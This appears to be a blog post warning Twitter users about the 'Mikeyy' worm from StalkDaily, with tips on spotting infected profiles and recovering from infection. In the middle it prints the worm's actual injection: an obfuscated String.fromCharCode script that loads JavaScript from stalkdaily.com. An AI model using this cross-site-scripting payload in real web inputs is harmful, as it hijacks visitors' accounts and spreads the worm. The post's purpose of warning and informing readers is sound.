Elizabeth Fish

In the last week, Twitter has been undergoing a few problems. No, not an increased amount of fail whale pages. The problem comes in the form of a worm called “Mikeyy”, and has been infecting peoples profiles for the last few days.

So who is this Mikeyy? How can you spot and infected profile and what should you do if your profile becomes infected? Well, Mikeyy is in fact a real person. Real name Micheal Mooney, and a mere 17 years old, he is the creator of the virus via StalkDaily- don’t check out the site, as that is where the virus is ’stored’.

You can notice an infected follower by an unusual status update which they did not generate, along the lines of either “Hey everyone, join www. StalkDaily. com. It’s a site like Twitter but with pictures, videos, and so much more! ” or suggesting that Twitter should hire Mikeyy. Some cases have seen cruder tweets. There’s also a problem in the user’s name. instead of being able to see their full name on their profile, instead you’d see this script or similar:

><title><script>document.write(String.fromCharCode(60,115,99, 114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119, 119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97, 106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>

DO NOT GO ONTO THEIR PROFILE, as this is what helps the worm spread.

Okay, so what if curiosity got the better of you and now you are infected (you’ll know by the random status update you just made)? Don’t panic, this worm is no threat to your personal information. Though just to be safe, change your password anyway. You will be locked out of your profile by Twitter as an infected profile anyway, so follow the prompts. Then simply change your name back and you are no longer infected.

Why did Mooney do this? Apparently, Mooney does this to many websites, mainly “out of boredom”. There is even one cease and desist form circulating the internet from a previous site he attacked here. One website, The Drill Down, managed to grab an interview with the teen, which you can listen to here: The Drill Down

So, remember, don’t click on suspicious profiles and if in doubt, change your password.